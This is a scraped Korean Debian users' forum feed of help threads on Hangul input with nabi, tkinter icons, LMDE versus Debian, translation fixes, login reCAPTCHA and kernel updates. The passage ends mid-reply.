일반적인 질문 https://debianusers.or.kr/ en 한글입력 nabi https://debianusers.or.kr/node/382 <span property="schema:name" class="field field--name-title field--type-string field--label-hidden">한글입력 nabi</span> <div class="field field--name-taxonomy-forums field--type-entity-reference field--label-above"> <div class="field__label">Forums</div> <div class="field__item"><a href="/taxonomy/term/8" hreflang="en">일반적인 질문</a></div> </div> <div property="schema:text" class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>Buster(10)에서 Bookworm(12)으로 업그레이드한 후에 nabi가 정상적으로 작동하지 않습니다.</p> <p>혹시 X서버에서 xim 한글입력 nabi로 쓰시는분 계시면 혹시 별문제 없이 쓰고 계신지 알고 싶습니다.</p> <p>현재는 .xinitrc 파일에 XIM=nabi로 설정해 놓고 있고 터미널은 urxvt를 쓰고 있습니다.</p> <p>Buster에서는 로그인 후 nabi사용에 문제가 없었는데, 지금은 터미널에서 nabi실행시킨 후(실행 터미널에서는 한영전환이 안됩니다) 다른 터미널을 열어야기지만 한영전환이 가능해서 불편합니다.</p> <p>다시 buster로 돌아가는 방법도 있겠으나 되도록이면 업그레이드했으니 문제를 해결해보고 싶어 글을 남기게 되었습니다.</p> <p>혹 bookworm에서 xim nabi로 사용하시면 도움좀 부탁드리겠습니다.</p> </div> <span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/user/297" typeof="schema:Person" property="schema:name" datatype="">ggdd2</span></span> <span property="schema:dateCreated" content="2023-09-14T04:17:46+00:00" class="field field--name-created field--type-created field--label-hidden">2023.09.14.(Thu) - 13:17</span> <section class="field field--name-comment-forum field--type-comment field--label-hidden comment-wrapper"> <article role="article" data-comment-user-id="1" id="comment-711" class="comment js-comment clearfix"> <span class="hidden" data-comment-timestamp="1694777728"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/1" class="profile"> </article> <p class="comment__author"><span lang="" about="/user/1" typeof="schema:Person" property="schema:name" datatype="">westporch</span></p> <p class="comment__time">작성: 2023.09.15.(Fri) - 20:35</p> <p class="comment__time">수정: 2023.09.15.(Fri) - 20:35</p> <p class="comment__permalink"><a href="/comment/711#comment-711" hreflang="en">Permalink</a></p> </footer> <div class="comment__content"> <h3><a href="/comment/711#comment-711" class="permalink" rel="bookmark" hreflang="en">해결 방법을 모르겠습니다</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><p dir="ltr">문제의 해결 방법을 몰라서 말씀하신 환경을 구축하여, 한글 입력을 테스트해봐야 조치 방법에 근접할 수 있을 거 같습니다.&nbsp;</p> <p dir="ltr">하지만 제가 타지에서 파견 근무(교육 이수) 중이라 작업용 개인 노트북을 챙겨오지 못 했습니다. 이 때문에 제가 직접 테스트하는 것이 어려운 상황입니다.</p> <p dir="ltr">아마 한글 입력기로 nabi 대신에 ibus를 사용하면 한글 입력 문제가 해결되지 않을까 싶지만, 이는 근본적인 해결책은 아닌 것 같습니다.</p> <p dir="ltr">원하시는 답을 드리지 못 해 죄송합니다.</p> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=711&amp;1=default&amp;2=en&amp;3=" token="XVuR9ndHMI8gYgZjASWVcPVcP3YZ9FkPAm0es3W7-Qo"></drupal-render-placeholder> </div> </article> <article role="article" data-comment-user-id="5" id="comment-712" class="comment js-comment clearfix"> <span class="hidden" data-comment-timestamp="1699004382"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/5" class="profile"> </article> <p class="comment__author"><span lang="" about="/user/5" typeof="schema:Person" property="schema:name" datatype="">세벌</span></p> <p class="comment__time">작성: 2023.11.03.(Fri) - 18:39</p> <p class="comment__time">수정: 2023.11.03.(Fri) - 18:39</p> <p class="comment__permalink"><a href="/comment/712#comment-712" hreflang="en">Permalink</a></p> </footer> <div class="comment__content"> <h3><a href="/comment/712#comment-712" class="permalink" rel="bookmark" hreflang="en">ibus</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><p>저는 ibus 씁니다. nabi 쓸 까닭이 저에게는 없어서요. ibus가 기본. nabi는 별도 설치 필요.</p> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=712&amp;1=default&amp;2=en&amp;3=" token="rkNnPqlKIKeYwhlz07flagips1z7ASdmO8Z68AbRqvg"></drupal-render-placeholder> </div> </article> </section> Thu, 14 Sep 2023 04:17:46 +0000 ggdd2 382 at https://debianusers.or.kr https://debianusers.or.kr/node/382#comments 파이썬 tkinter및 gui모듈 사용시 타이틀의 글자와 아이콘이 나오질 않습니다. https://debianusers.or.kr/node/381 <span property="schema:name" class="field field--name-title field--type-string field--label-hidden">파이썬 tkinter및 gui모듈 사용시 타이틀의 글자와 아이콘이 나오질 않습니다.</span> <div class="field field--name-taxonomy-forums field--type-entity-reference field--label-above"> <div class="field__label">Forums</div> <div class="field__item"><a href="/taxonomy/term/8" hreflang="en">일반적인 질문</a></div> </div> <div property="schema:text" class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>크롬북으로 파이썬 수업을 하고 있습니다.</p> <p>데비안11에 파이썬3.9로 하고 있는데, tkinter,pyqt5,pygame등의 모듈실행시 윈도우의 타이틀바에서 아이콘과 제목이 나타나지 않습니다.</p> <p>오른쪽의 윈도우크기조절아이콘3개는 잘 나타나고 작동합니다.</p> <p>해결방법을 알려주세요</p> </div> <span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/user/296" typeof="schema:Person" property="schema:name" datatype="">cmhwa73</span></span> <span property="schema:dateCreated" content="2023-08-31T07:18:34+00:00" class="field field--name-created field--type-created field--label-hidden">2023.08.31.(Thu) - 16:18</span> <section class="field field--name-comment-forum field--type-comment field--label-hidden comment-wrapper"> <article role="article" data-comment-user-id="1" id="comment-709" class="comment js-comment clearfix"> <span class="hidden" data-comment-timestamp="1693746065"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/1" class="profile"> </article> <p class="comment__author"><span lang="" about="/user/1" typeof="schema:Person" property="schema:name" datatype="">westporch</span></p> <p class="comment__time">작성: 2023.09.03.(Sun) - 22:01</p> <p class="comment__time">수정: 2023.09.03.(Sun) - 22:01</p> <p class="comment__permalink"><a href="/comment/709#comment-709" hreflang="en">Permalink</a></p> </footer> <div class="comment__content"> <h3><a href="/comment/709#comment-709" class="permalink" rel="bookmark" hreflang="en">해결 방법을 모르겠습니다</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><p>Debian 12, Python 3.11.2 환경에서 tkinter를 사용해서 타이틀 바를 테스트 해보니, 저의 경우에는 타이틀 제목은 출력됩니다. 하지만 아래 소스에서 iconphoto 함수와 tk.call 함수를 사용해도 타이틀 바에 이미지가 출력되지가 않네요.</p> <p>&nbsp;</p> <p>import tkinter</p> <p>window = tkinter.Tk()<br /> window.title("테스트")</p> <p>window.iconphoto(False, tkinter.PhotoImage(file="/home/westporch/사진/python_icon.png"))<br /> #window.tk.call('wm', 'iconphoto', window._w, tkinter.PhotoImage(file="/home/westporch/사진/python_icon.png"))</p> <p>window.mainloop()</p> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=709&amp;1=default&amp;2=en&amp;3=" token="lMZLwz0GYizFq8oXQDuPi6CvFp_mPkMqetbuSgvwBY4"></drupal-render-placeholder> </div> </article> <div class="indented"><article role="article" data-comment-user-id="296" id="comment-710" class="comment js-comment by-node-author clearfix"> <span class="hidden" data-comment-timestamp="1693805408"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/296" class="profile"> </article> <p class="comment__author"><span lang="" about="/user/296" typeof="schema:Person" property="schema:name" datatype="">cmhwa73</span></p> <p class="comment__time">작성: 2023.09.04.(Mon) - 14:30</p> <p class="comment__time">수정: 2023.09.04.(Mon) - 14:30</p> <p class="comment__permalink"><a href="/comment/710#comment-710" hreflang="en">Permalink</a></p> <p class="visually-hidden">In reply to <a href="/comment/709#comment-709" class="permalink" rel="bookmark" hreflang="en">해결 방법을 모르겠습니다</a> by <span lang="" about="/user/1" typeof="schema:Person" property="schema:name" datatype="">westporch</span></p> </footer> <div class="comment__content"> <h3><a href="/comment/710#comment-710" class="permalink" rel="bookmark" hreflang="en">데비안 업그레이드와 파이썬 업그레이드가 불가합니다.</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><p>학교 크롬북을 학생들이 사용하고 있어서, 업그레이드가 어렵습니다.</p> <p>그럼, 버그로 알고, 수업을 진행하겠습니다.</p> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=710&amp;1=default&amp;2=en&amp;3=" token="zFCRgqg2IqyZBjCwM2pB1CAY8nZFvmK1DV3XrLRt1fg"></drupal-render-placeholder> </div> </article> </div> </section> Thu, 31 Aug 2023 07:18:34 +0000 cmhwa73 381 at https://debianusers.or.kr https://debianusers.or.kr/node/381#comments LMDE4 vs 데비안10 + Cinnamon https://debianusers.or.kr/node/356 <span property="schema:name" class="field field--name-title field--type-string field--label-hidden">LMDE4 vs 데비안10 + Cinnamon</span> <div class="field field--name-taxonomy-forums field--type-entity-reference field--label-above"> <div class="field__label">Forums</div> <div class="field__item"><a href="/taxonomy/term/8" hreflang="en">일반적인 질문</a></div> </div> <div property="schema:text" class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>리눅스 민트 데비안 에디션4 와</p> <p>데비안10 + Cinnamon</p> <p> </p> <p>둘중에 어떤게 더 가벼울까요</p> <p> </p> <p>그리고 데비안10에 리눅스 민트 내에 있는 앱스토어(?) 이름이 갑자기 생각이 안나네요.. 암튼 그거를 설치 할수 있는지도 궁금합니다.</p> <p> </p> <p>그리고 LFS 로 리눅스를 설치하거나 아치 리눅스 같은 다른배포판으로 리눅스를 설치했을때</p> <p>데비안의 패키지 관리자 dpkg? 나 시냅틱 관리자? 같은것들을 설치 해서 사용할수 있는지도 궁금합니다.</p> <p> </p> <p>언젠가는 LFS 를 이용해서 제 입맛데로 리눅스를 사용해보고 싶습니다.</p> </div> <span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/user/265" typeof="schema:Person" property="schema:name" datatype="">시티에이스</span></span> <span property="schema:dateCreated" content="2021-01-17T07:48:08+00:00" class="field field--name-created field--type-created field--label-hidden">2021.01.17.(Sun) - 16:48</span> <section class="field field--name-comment-forum field--type-comment field--label-hidden comment-wrapper"> <article role="article" data-comment-user-id="1" id="comment-657" class="comment js-comment clearfix"> <span class="hidden" data-comment-timestamp="1611149832"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/1" class="profile"> </article> <p class="comment__author"><span lang="" about="/user/1" typeof="schema:Person" property="schema:name" datatype="">westporch</span></p> <p class="comment__time">작성: 2021.01.20.(Wed) - 22:37</p> <p class="comment__time">수정: 2021.01.20.(Wed) - 22:37</p> <p class="comment__permalink"><a href="/comment/657#comment-657" hreflang="en">Permalink</a></p> </footer> <div class="comment__content"> <h3><a href="/comment/657#comment-657" class="permalink" rel="bookmark" hreflang="en">소프트웨어 매니저(mintinstall)</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><blockquote> <p>데비안10에 리눅스 민트 내에 있는 앱스토어(?) 이름이 갑자기 생각이 안나네요.. 암튼 그거를 설치 할수 있는지도 궁금합니다.</p> </blockquote> <p>리눅스 민트에서 사용하는 소프트웨어 매니저인 '<a href="https://pkgs.org/download/mintinstall">mintinstall</a>' 패키지를 말씀하시는 거 같네요.</p> <p>데비안10 환경에서 mintinstall 패키지를 설치하는 게 쉽지 않네요. mintinstall 패키지를 설치하려고 하니, 의존성 에러가 발생했습니다.&nbsp;의존성 오류가 발생하는 패키지들을&nbsp;모두 설치했는데도 mintinstall 설치 시 의존성 에러가 발생합니다.</p> <p>데비안10에서는 시스템에 기본적으로 포함된 '시냅틱 패키지 관리자'를 사용하는 것이 더 효율적일 것 같습니다.</p> <p>고맙습니다.</p> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=657&amp;1=default&amp;2=en&amp;3=" token="imhREDZx2cDF0HK7Lu7-3T6IfCpdTg8XdRGALTFFlns"></drupal-render-placeholder> </div> </article> </section> Sun, 17 Jan 2021 07:48:08 +0000 시티에이스 356 at https://debianusers.or.kr https://debianusers.or.kr/node/356#comments 어색한 번역. https://debianusers.or.kr/node/350 <span property="schema:name" class="field field--name-title field--type-string field--label-hidden">어색한 번역.</span> <div class="field field--name-taxonomy-forums field--type-entity-reference field--label-above"> <div class="field__label">Forums</div> <div class="field__item"><a href="/taxonomy/term/8" hreflang="en">일반적인 질문</a></div> </div> <div property="schema:text" class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>2020.12.12.(토) - 23:14 에 <a href="https://debianusers.or.kr/user/263" lang="" xml:lang="">마원</a> 에 의해 제출됨</p> <p>드루팔 어디선가 한국어 번역이 그렇게 되어있나 봅니다.</p> <p>...에 의해 제출됨 을 ...님이 씀. 으로 하면 어떨까요? 관리자 님 시간 나실 때에.</p> </div> <span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/user/5" typeof="schema:Person" property="schema:name" datatype="">세벌</span></span> <span property="schema:dateCreated" content="2020-12-12T21:52:17+00:00" class="field field--name-created field--type-created field--label-hidden">2020.12.13.(Sun) - 06:52</span> <section class="field field--name-comment-forum field--type-comment field--label-hidden comment-wrapper"> <article role="article" data-comment-user-id="1" id="comment-643" class="comment js-comment clearfix"> <span class="hidden" data-comment-timestamp="1607863373"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/1" class="profile"> </article> <p class="comment__author"><span lang="" about="/user/1" typeof="schema:Person" property="schema:name" datatype="">westporch</span></p> <p class="comment__time">작성: 2020.12.13.(Sun) - 12:14</p> <p class="comment__time">수정: 2020.12.13.(Sun) - 21:42</p> <p class="comment__permalink"><a href="/comment/643#comment-643" hreflang="en">Permalink</a></p> </footer> <div class="comment__content"> <h3><a href="/comment/643#comment-643" class="permalink" rel="bookmark" hreflang="en">&#039;~ 님이 씀.&#039;으로 수정했습니다.</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><p>안녕하세요.</p> <p>'~에 의해 제출됨'을 '~ 님이 씀.'으로 수정했습니다. 테스트 서버에는 '~에 의해 제출됨'을 '이(가) 작성함.'으로 수정했었는데, 제가 너무 뜸을 들였나 봅니다.</p> <p>'~에 의해 제출됨'으로 보였던 것은 드루팔의 한국어 번역이 그렇게 되었기 때문입니다.</p> <p>아울러 외래어 표기법에 맞게 아래 번역도 수정했습니다.</p> <ul> <li>'컨텐츠'를 '콘텐츠'(content)로 수정했습니다. (264개)</li> <li>'데스크탑'을 '데스크톱'(desktop)으로 수정했습니다. (1개)</li> <li>'캐쉬'를 '캐시'(cache)로 수정했습니다. (3개)</li> <li>'버젼'을 '버전'(version)으로 수정했습니다. (7개)</li> <li>'쓰레드'를 '스레드'(thread)로 수정했습니다. (1개)</li> <li>'썸네일'을 '섬네일'(thumbnail)로 수정했습니다. (3개)</li> <li>'디렉토리'를 '디렉터리'(directory)로 수정했습니다. (71개)</li> </ul> <p>그리고&nbsp;포럼 및 게시물 목록에서 보이는, '마지막 포스트'와 '마지막 댓글'의 '시간 표기 형식'에 일부 번역을 추가, 수정했습니다.</p> <p>추가로 아래 번역도 수정했습니다.</p> <ul> <li>'주석'을 '댓글'(comment)로 수정했습니다. (3개)</li> <li>'연락처'를 '관리자에게 이메일 보내기'(Contact)로 수정했습니다. (1개)</li> <li>'사용안함'을 '사용 안 함'(Disable)으로 수정했습니다. (1개)</li> <li>'아니오'를 '아니요'(No)로 수정했습니다. (5개)</li> </ul> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=643&amp;1=default&amp;2=en&amp;3=" token="LxTm7r2u-N98SpPsBwBoCqQ_p_TWWHgvjEn2x0EwYyY"></drupal-render-placeholder> </div> </article> </section> Sat, 12 Dec 2020 21:52:17 +0000 세벌 350 at https://debianusers.or.kr https://debianusers.or.kr/node/350#comments 나는 로봇이 아닙니다 https://debianusers.or.kr/node/348 <span property="schema:name" class="field field--name-title field--type-string field--label-hidden">나는 로봇이 아닙니다</span> <div class="field field--name-taxonomy-forums field--type-entity-reference field--label-above"> <div class="field__label">Forums</div> <div class="field__item"><a href="/taxonomy/term/8" hreflang="en">일반적인 질문</a></div> </div> <div property="schema:text" class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>회원 가입 잘 하고, 제 아이디와 비번 제대로 입력했는데 로봇인지 물어보네요. 로그인할 때마다 그러네요.</p> </div> <span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/user/5" typeof="schema:Person" property="schema:name" datatype="">세벌</span></span> <span property="schema:dateCreated" content="2020-12-11T21:36:03+00:00" class="field field--name-created field--type-created field--label-hidden">2020.12.12.(Sat) - 06:36</span> <section class="field field--name-comment-forum field--type-comment field--label-hidden comment-wrapper"> <article role="article" data-comment-user-id="1" id="comment-640" class="comment js-comment clearfix"> <span class="hidden" data-comment-timestamp="1607734998"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/1" class="profile"> </article> <p class="comment__author"><span lang="" about="/user/1" typeof="schema:Person" property="schema:name" datatype="">westporch</span></p> <p class="comment__time">작성: 2020.12.12.(Sat) - 10:03</p> <p class="comment__time">수정: 2020.12.12.(Sat) - 10:03</p> <p class="comment__permalink"><a href="/comment/640#comment-640" hreflang="en">Permalink</a></p> </footer> <div class="comment__content"> <h3><a href="/comment/640#comment-640" class="permalink" rel="bookmark" hreflang="en">로그인 페이지도 리캡차가 적용된 상태입니다</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><p>현재, 회원 가입 페이지뿐만 아니라 로그인 페이지에도 리캡차(reCAPTCHA)가 적용된 상태입니다. 로그인 페이지에 리캡차를 적용한 지는 꽤 오래되었습니다.</p> <p>로그인 페이지에도 리캡차를 적용한 이유는, 오래전에 로그인 페이지에서 아이디와 비밀번호만으로 '무차별 대입 공격'이 이뤄졌기 때문입니다. (이는 웹 서버의 로그를 통해 확인했습니다.)따라서 이러한 공격을 방지하고자 로그인 페이지에도 리캡차를 적용한 것입니다.</p> <p>앞으로는 사소한 작업이라도 공지하도록 하겠습니다. '로그인 페이지에 리캡차를 적용한 것은 간단한 작업이다.'라고 판단해서 별도로 공지하지 않았고, 제 작업 기록 문서에도 기록하지 않았었습니다.</p> <p>보안성을 고려하면 어느 정도의 불편함이 따름을 헤아려 주시면 고맙겠습니다.</p> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=640&amp;1=default&amp;2=en&amp;3=" token="fKls0l-c7XTocnrm3L5J1qtntDifSpcCqwfF389UMNY"></drupal-render-placeholder> </div> </article> <article role="article" data-comment-user-id="1" id="comment-641" class="comment js-comment clearfix"> <span class="hidden" data-comment-timestamp="1607764880"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/1" class="profile"> </article> <p class="comment__author"><span lang="" about="/user/1" typeof="schema:Person" property="schema:name" datatype="">westporch</span></p> <p class="comment__time">작성: 2020.12.12.(Sat) - 18:21</p> <p class="comment__time">수정: 2020.12.12.(Sat) - 18:21</p> <p class="comment__permalink"><a href="/comment/641#comment-641" hreflang="en">Permalink</a></p> </footer> <div class="comment__content"> <h3><a href="/comment/641#comment-641" class="permalink" rel="bookmark" hreflang="en">로그인 페이지에서 리캡차 삭제</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><p>로그인 페이지에서 리캡차를 삭제했습니다. 아무래도 로그인 페이지에 리캡차가 있으면, 글 쓰려던 사람까지 막을 거 같습니다.</p> <p>당분간 웹 서버의 로그를 모니터링해서 로그인 페이지에서 무차별 대입 공격이 또 발생하는지 살펴보려고 합니다. 만약 이런 공격이 또다시 발생한다면, 어떻게 대처해야 할지 좀 더 고민해 봐야겠습니다.</p> <p>아마 로그인 페이지도 회원 가입 페이지처럼 국내 아이피만 접근을 허용하고, 해외 아이피는 모두 차단하면 문제가 해결될 것 같습니다. 하지만 국내 아이피로도 언제든지 공격이 발생할 수 있어서, 이 방법이 근본적인 해결책이 되지는 않을 거 같습니다.</p> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=641&amp;1=default&amp;2=en&amp;3=" token="qysh-UNublsx4zlmNu6Qwt1_SRuPetLJ0YeBfdcTESg"></drupal-render-placeholder> </div> </article> <div class="indented"><article role="article" data-comment-user-id="5" id="comment-646" class="comment js-comment by-node-author clearfix"> <span class="hidden" data-comment-timestamp="1608070192"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/5" class="profile"> </article> <p class="comment__author"><span lang="" about="/user/5" typeof="schema:Person" property="schema:name" datatype="">세벌</span></p> <p class="comment__time">작성: 2020.12.16.(Wed) - 07:09</p> <p class="comment__time">수정: 2020.12.16.(Wed) - 07:09</p> <p class="comment__permalink"><a href="/comment/646#comment-646" hreflang="en">Permalink</a></p> <p class="visually-hidden">In reply to <a href="/comment/641#comment-641" class="permalink" rel="bookmark" hreflang="en">로그인 페이지에서 리캡차 삭제</a> by <span lang="" about="/user/1" typeof="schema:Person" property="schema:name" datatype="">westporch</span></p> </footer> <div class="comment__content"> <h3><a href="/comment/646#comment-646" class="permalink" rel="bookmark" hreflang="en">고맙습니다. 로그인 편하게 된 것을 &quot;알리는 말씀…</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><p>고맙습니다. 로그인 편하게 된 것을 "알리는 말씀"에 넣는 건 어떨까요?</p> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=646&amp;1=default&amp;2=en&amp;3=" token="Mtcy_CXJD3b-GcpDdkzJYmn1nwXGWifL64U2S41yGtM"></drupal-render-placeholder> </div> </article> <div class="indented"><article role="article" data-comment-user-id="1" id="comment-647" class="comment js-comment clearfix"> <span class="hidden" data-comment-timestamp="1608123911"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/1" class="profile"> </article> <p class="comment__author"><span lang="" about="/user/1" typeof="schema:Person" property="schema:name" datatype="">westporch</span></p> <p class="comment__time">작성: 2020.12.16.(Wed) - 22:05</p> <p class="comment__time">수정: 2020.12.16.(Wed) - 22:05</p> <p class="comment__permalink"><a href="/comment/647#comment-647" hreflang="en">Permalink</a></p> <p class="visually-hidden">In reply to <a href="/comment/646#comment-646" class="permalink" rel="bookmark" hreflang="en">고맙습니다. 로그인 편하게 된 것을 &quot;알리는 말씀…</a> by <span lang="" about="/user/5" typeof="schema:Person" property="schema:name" datatype="">세벌</span></p> </footer> <div class="comment__content"> <h3><a href="/comment/647#comment-647" class="permalink" rel="bookmark" hreflang="en">&#039;알리는 말씀&#039;에 추가했습니다</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><p>로그인 페이지에서 아이디와 비밀번호만으로 로그인이 가능함을, '알리는 말씀'에 공지했습니다. 아래의 링크를 참고해 주십시오.</p> <ul> <li><a href="https://debianusers.or.kr/node/351">로그인 페이지에서 리캡차 삭제(2020.12.12.)</a></li> </ul> <p>&nbsp;</p> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=647&amp;1=default&amp;2=en&amp;3=" token="kImeywDIFlNCTeDQdP54anEqbB4SOCY0HOlAT5SB2eI"></drupal-render-placeholder> </div> </article> </div></div> </section> Fri, 11 Dec 2020 21:36:03 +0000 세벌 348 at https://debianusers.or.kr https://debianusers.or.kr/node/348#comments 데비안 컨설턴트 하실 분? https://debianusers.or.kr/node/340 <span property="schema:name" class="field field--name-title field--type-string field--label-hidden">데비안 컨설턴트 하실 분?</span> <div class="field field--name-taxonomy-forums field--type-entity-reference field--label-above"> <div class="field__label">Forums</div> <div class="field__item"><a href="/taxonomy/term/8" hreflang="en">일반적인 질문</a></div> </div> <div property="schema:text" class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>데비안 컨설턴트 하실 분 또는 회사 있으면 알려주세요.</p> <p><a href="https://www.debian.org/consultants/#KR">https://www.debian.org/consultants/#KR</a> 에 넣어 드립니다.</p> </div> <span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/user/5" typeof="schema:Person" property="schema:name" datatype="">세벌</span></span> <span property="schema:dateCreated" content="2020-03-05T02:29:18+00:00" class="field field--name-created field--type-created field--label-hidden">2020.03.05.(Thu) - 11:29</span> <section class="field field--name-comment-forum field--type-comment field--label-hidden comment-wrapper"> <article role="article" data-comment-user-id="5" id="comment-621" class="comment js-comment by-node-author clearfix"> <span class="hidden" data-comment-timestamp="1584222601"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/5" class="profile"> </article> <p class="comment__author"><span lang="" about="/user/5" typeof="schema:Person" property="schema:name" datatype="">세벌</span></p> <p class="comment__time">작성: 2020.03.14.(Sat) - 11:56</p> <p class="comment__time">수정: 2020.03.15.(Sun) - 06:50</p> <p class="comment__permalink"><a href="/comment/621#comment-621" hreflang="en">Permalink</a></p> </footer> <div class="comment__content"> <h3><a href="/comment/621#comment-621" class="permalink" rel="bookmark" hreflang="en">한국 데비안 컨설턴트 숨어 있을 지도</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><p>데비안 컨설턴트 업무를 하는데 드러내지 않는 건지? 그런 업체가 하나도 없는 건지 잘 모르겠네요.</p> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=621&amp;1=default&amp;2=en&amp;3=" token="pzWlhr3k_WimklL3XDp3dB3PDwlZnKEPuOkN8T_eN6A"></drupal-render-placeholder> </div> </article> </section> Thu, 05 Mar 2020 02:29:18 +0000 세벌 340 at https://debianusers.or.kr https://debianusers.or.kr/node/340#comments 데비안은 커널 업그레이드가 필요없나요? https://debianusers.or.kr/node/314 <span property="schema:name" class="field field--name-title field--type-string field--label-hidden">데비안은 커널 업그레이드가 필요없나요?</span> <div class="field field--name-taxonomy-forums field--type-entity-reference field--label-above"> <div class="field__label">Forums</div> <div class="field__item"><a href="/taxonomy/term/8" hreflang="en">일반적인 질문</a></div> </div> <div property="schema:text" class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>1.</p> <p>우분투는 시도 때도 없이 커널 업그레이드를 해싸서 grub.cfg 다시 입맛대로 편집하느라 귀찮았는데</p> <p>데비안은 커널 업그레이드가 자동적으로 지원되지 않는군요.</p> <p>10.2 10.3 10.4 이럴 때만 커널이 업그레이드 되나요?</p> <p>아니면 데비안은 커널 업그레이드가 필요없나요?</p> <p>보니까 kernel.org에서 직접 다운받아서 빌드해야 되나 보던데...</p> <p>일반 사용자는 커널 업그레이드가 보안상 필요 없는지</p> <p>아니면 그냥 가끔 apt upgrade만 하고 신경 꺼도 되는지</p> <p>수동으로 빌드를 (이걸 어떻게 하는지는 둘째 치고) 해야 되는지 궁금합니다.</p> <p>___</p> <p>2.</p> <p>그리고 리눅스 한글입력기는 모아치기 안 되는건가요. 어차피 순차방식 타이핑 타입이라서 모아치기 안 하기는 하지만 오타 교정이 가끔 쏠쏠하던데...</p> </div> <span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/user/121" typeof="schema:Person" property="schema:name" datatype="">Rani</span></span> <span property="schema:dateCreated" content="2019-12-23T10:14:23+00:00" class="field field--name-created field--type-created field--label-hidden">2019.12.23.(Mon) - 19:14</span> <section class="field field--name-comment-forum field--type-comment field--label-hidden comment-wrapper"> <article role="article" data-comment-user-id="121" id="comment-585" class="comment js-comment by-node-author clearfix"> <span class="hidden" data-comment-timestamp="1577096544"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/121" class="profile"> <div class="field field--name-user-picture field--type-image field--label-hidden field__item"> <a href="/user/121" hreflang="en"><img src="/sites/default/files/styles/thumbnail/public/pictures/2019-12/4946032_1_0.jpg?itok=qAkIcCNX" width="85" height="85" alt="Profile picture for user Rani" loading="lazy" typeof="foaf:Image" class="image-style-thumbnail" /> </a> </div> </article> <p class="comment__author"><span lang="" about="/user/121" typeof="schema:Person" property="schema:name" datatype="">Rani</span></p> <p class="comment__time">작성: 2019.12.23.(Mon) - 19:22</p> <p class="comment__time">수정: 2019.12.23.(Mon) - 19:22</p> <p class="comment__permalink"><a href="/comment/585#comment-585" hreflang="en">Permalink</a></p> </footer> <div class="comment__content"> <h3><a href="/comment/585#comment-585" class="permalink" rel="bookmark" hreflang="en">There&#039;s no correct version…</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><ol> <li> There's no correct version. Debian packagers decide to ship a kernel, and you are free to change it to whatever you like. The correct version is whatever you want it to be. </li> <li> Unless you changed it, there's no reason it should be different than what packagers shipped. Either you change your kernel or an update gets issued through the package manager. Debian's package manager is apt. </li> </ol> <p>------------------------------------------------------------------------------------------------------------------------------------------------</p> <p>Do I have to upgrade it manually? Is This?</p> <p><a href="https://linuxhint.com/how-to-upgrade-kernel-of-debian-9-stretch-from-source/">https://linuxhint.com/how-to-upgrade-kernel-of-debian-9-stretch-from-source/</a></p> <p>------------------------------------------------------------------------------------------------------------------------------------------------</p> <p>That is not true. If you install the package "linux-image-amd64", well, assuming that this is your architecture, then keeping this package updated also means to always have the latest available kernel in Debian 10 installed.</p> <p>Then, to automatically keep the system up to date you could install and configure apt-dater.</p> <p>------------------------------------------------------------------------------------------------------------------------------------------------</p> <p>데비안 커뮤니티에 물어보니까 이렇게 대답을 받았는데 이해를 